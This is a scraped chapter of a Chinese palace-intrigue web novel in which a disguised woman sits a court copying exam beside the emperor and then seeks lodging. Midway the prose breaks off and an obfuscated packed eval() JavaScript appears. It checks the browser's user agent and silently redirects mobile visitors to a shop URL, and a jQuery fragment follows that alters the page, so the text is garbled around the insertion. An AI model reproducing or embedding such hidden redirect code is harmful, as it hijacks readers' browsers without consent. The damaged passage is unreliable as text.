71. 铨叙
作品:《伪装成白月光后她篡位了》 景和许扯了扯嘴角,勾出一抹深意,“叫什么名字?”
“裴厌。”
景和许漫不经心应了一声,然后错开她离开了。
裴厌听见景和许离开的脚步声,愣愣喊了一句,“大人慢走。”
裴厌手里绞着袖口,面上却还是一副一无所知的模样。
她正待要走。
“不是迷路了么?”
景和许突然在她身后道,声音近在咫尺。
他竟然在不动声色又折返回来了。
“是。”裴厌直直转过身,与景和许对视。
她神色讶然,旋即嘴角微扬,笑得有些狡黠。
景和许一时讷讷,而后嘴角不经意勾起。
这是她转身前设计好的神态,看景和许的神态,她很成功。
“跟着朕,朕也要去撰文台。”景和许颇带玩味地说。
裴厌故作惊讶,而后跪下行礼,“民女参见陛下。”
裴厌跪了很久,景和许才不紧不慢地伸手扶她。
他将她扶起来,就转过身,背对着她往前走。
裴厌随即跟上。
宫道上平铺一地的日光,灼得人眼睛也睁不开,裴厌垂眸看着景和许脚下的衣摆。
暗红色的罗织布在他脚下起伏,目光慢慢上移,他的左手背在背后,右手随意垂着,而右手上戴着反季的皮手套。
裴厌垂下眼帘,遮住若有若无的笑意,再抬眼时,脸上只剩某种决然。
她看着景和许露在日光下的脖颈,她若此时去掐死他,或是咬破他的喉咙,胜算有多大?
身为一国之主,还树立了那么多仇敌,现下又是天虞铨叙,宫内鱼龙混杂,他怎能没准备?
思前想后,裴厌安安分分跟着景和许走到了藏书阁。
藏书阁在虞宫较为偏僻的地方,其阁楼的风格也和虞宫迥然不同,倒是跟太医署很是相似。
这座五层高楼傲然静立,幽幽的青瓦洗去了虞宫的浮华,取而代之的是欲言又止的深沉。
而撰文台就在藏书阁之中。
比试尚未开始,此时藏书阁之外摆了几大排桌子,还没坐满,约莫有四五十人。
“参见陛下。”藏书阁门口的侍卫朝景和许行礼。
斗者才纷纷看向景和许和裴厌,他们也跪下行礼。
“起来吧。”
试官很快跑上前,“陛下这是……?”
“朕来监考。”
“诶,陛下身负社稷,日理万机,竟不惜纾尊降贵,亲临这铨叙考场。此非仅为监考,实乃代天下苍生,亲选肱骨也!微臣等感佩涕零……”
“别啰嗦了,”景和许的神色变得不耐烦起来,“给朕安排坐席。”
“是。”试官这才退下。
景和许转身对裴厌说:“到了,去吧。”
裴厌笑着行礼道:“多谢陛下。”
她没看景和许的神色,自顾自找了个空位坐下,将包袱里的笔墨摆上来。
景和许直接跟上去,坐在了裴厌旁边的空座,手肘摁着桌面,手撑着头,眸光平常地望着她。
试官搬来一张软座,景和许坐上软座,瞥向试官,“这么大的太阳,伞呢?”
试官面上的表情很精彩,他立时又离开,吩咐了一个宫女为景和许举伞。
裴厌从包袱里拿出今早郑宁给她,她吃剩下的包子,她侧身,将包子递给景和许,“陛下,饿吗?”
景和许刻意放缓了语气,带着几分讨好的温和,“饿。怎么,给朕?”
裴厌本来不饿,只是她在回忆里见过记许仪曾如此对景和许,便只能生搬硬套。
她将包子一分为二,一半送进自己嘴里,咬了一口,另一半递给景和许。
景和许接过包子,却没有吃,从裴厌手里夺过她已经咬了一口的,将没吃过的递给她。
裴厌皱着眉接过。
他却没有解释,只将她吃过一口的包子吃下去。
裴厌心里知道他是怀疑她下毒,面上还表现出一副受宠若惊的娇羞模样,盯着案上的白纸,一口一口默默啃着包子。
比试开始,试官在最前面展开了几张大字横幅,一排排列开,组合起来是一些不成文的乱句。
这是在比誊抄,此时要做到不出错漏,抄得快且工整。
只是裴厌身处后排抄起来会很费力,不过也不是全无好处。
此时还不能动笔,她眼也不眨地背着横幅上的字。
几个太监在他们每个人桌上摆上了一炷香。
当太监走到谁面前,点燃了香,那个人的计时就开始了,若抄完便搁笔灭香,以余香的长短定时间,余香越长,成绩越好。
裴厌在后排几乎是最后开考的,她嘴里默默念着最前面的字句。
太监走过来的时候,正要点香。
“慢着。”旁边的景和许突然发话了。
“你记完了么?”景和许问裴厌。
裴厌转过头,她其实已经背完了,但是她想看看景和许打算做什么。
“还没。”裴厌故作窘迫地笑笑。
“等一会儿,让她记。”景和许对那位太监说道。
裴厌笑了笑,聚精会神地又将自己背下的与前面的对比了一遍。
“记下了。”裴厌开口。
景和许对那个太监招了招手。
太监点上香退开。
裴厌敛声屏气地默写,忽视了旁边景和许的存在。
她写到全文的五分之四时,听到了纸张声,已经有人写完了。
不过应当是前排香燃得早的。
她写完搁笔,掐灭了香,她的香还剩下三分之二。
她看了看其他人的香,大部分不足二分之一,少数还剩二分之一。
她剩下的余香是最多的了。
试官收走裴厌的字,与前面的的比对,没有看出来错处。
他拿木尺测了测裴厌余香的长度,记录在裴厌的纸上,就离开了。
景和许在一旁鼓了鼓掌,皮质手套发出闷闷的声响。
“裴姑娘让朕见识到了好大一番能耐。”他的语气叫人听不出喜怒。
裴厌随意笑笑,转头好似不经意注意到景和许手上的手套,“陛下这手……为何天气如此炎热还戴这样的手套?”
景和许收敛了笑意,他将右手伸出来,“你可以摸摸朕的小指。”
他哪里还剩什么小指,那不过是一片空虚的手套皮罢了。
裴厌犹犹豫豫伸出手,摸到景和许的小指,那里竟然是实心的。
“你用力。”
裴厌用力,原来那里塞着一截木头一样的硬物。
“我的小指被个贱人砍去了,你猜我找到她,会把她怎么样?”他饶有兴味地看着裴厌的眼睛。
“那定然要严惩……”裴厌还没说完。
景和许打断道:“碎尸万段。”
裴厌面色微怔,瞬间又释然,嘴角勾出一抹温和的笑。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248653|197355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她一定会在你找到她之前,先将你,碎尸万段。
试官站在最前面,大声道:“今日的比试到此为止,下文在此处张贴成绩。”
旁边的太监高声道:“请各位斗者随我去各位的住处。”
裴厌将东西都收进包袱,背着包起身,“陛下,民女告退。”
景和许朝她挥了挥手,也起身离开了。
裴厌跟随众人去到住处。
参加天虞铨叙的人都住在一处,这里地上有两层高,算上地下一层,共有三层,供斗者自行占地休息。
撰文台的比试结束得早,一来,人少;二来斗者一同比试,评分交给试官。
所以别的部门往往要比上一整日才能比完一项,而撰文台中午都不到就比完了。
这宿处也分三六九等,最上等的是单人大隔间,最下等的却是地下如同地牢一般的茅草铺。
裴厌先来自然可以占个位置,不过这宿处并无规矩,多的是人为了抢个房间大打出手。
她不能暴露自己的武功,要么忍气吞声,要么找个强者一同占一个房间。
她的毒瘾并未完全戒去,如若沦落到最下等的房间,忍气吞声,到时不知是否有人寻衅滋事,恐出意外。
可是肃政台和罚罪司两个招收武者的地方如今都不收女子,她要找强者则只能是男子。
女子互相帮衬住在一处很好理解,对方也大抵会同意,但若是男子,这便有些犯难。
她找到了一个不好也不差的两人隔间,里面仅有两张床一个柜子,一扇门一扇窗。
而且此房间外面还有一处狭小的走廊,堆放了些杂物,若是她守不住这间房,便在杂物堆里凑合一晚。
她放好东西,到楼下领了饭,她特意拿了两份,只因这饭菜也是先到先得,后来的容易饿肚子,她多拿一份,也是多一分筹码。
此时来领饭菜的都是撰文台的斗者,他们都见过了景和许,以为裴厌和景和许颇有渊源。
他们见到裴厌都一副嫌恶的模样,裴厌能够理解,大家都需要公平,而在他们看来,她已经是破坏公平的因素了。
到了黄昏时分,楼里已经有些热闹了,她将门用搬来的杂物抵着,又坐在门边。
听着外面的动静,已经有了一些叫骂声,木地板上响着此起彼伏的脚步声。
有人敲响了裴厌的房门。
“谁?”裴厌警惕道。
“在下罚罪司斗者,姑娘这是双人间,应当没有住满吧?”
那人的声音带着一丝文气,冷冷清清。
“你只身一人?”裴厌问。
“是。”
“若我不放你进来呢?”
那人轻笑一声,“那在下便只能在旁边的杂物里凑合一晚了。”
“那你便去吧。”裴厌继续试探。
“不是?姑娘你一个人选了个最简单的双人间不就是要找同伴吗?旁边还有个留了条缝的杂物堆,不是还给自己留了条退路么?就这么让我把你的退路占了?”
裴厌把杂物挪开,打开一条门缝,只见眼前这人身材高瘦,一身白衣,头发用琥珀雕银冠高高束起,眉眼竟然比寻常女子还多几分灵秀。
只是年轻的面孔偏偏长了满脸的胡须,看起来不伦不类。
“你好,我叫赵第,甲第的第,姑娘芳名啊?”他说着探出手想要握手,见裴厌神色迟疑又自顾自把手收回去了。
“裴厌,讨厌的厌。”裴厌打开门。

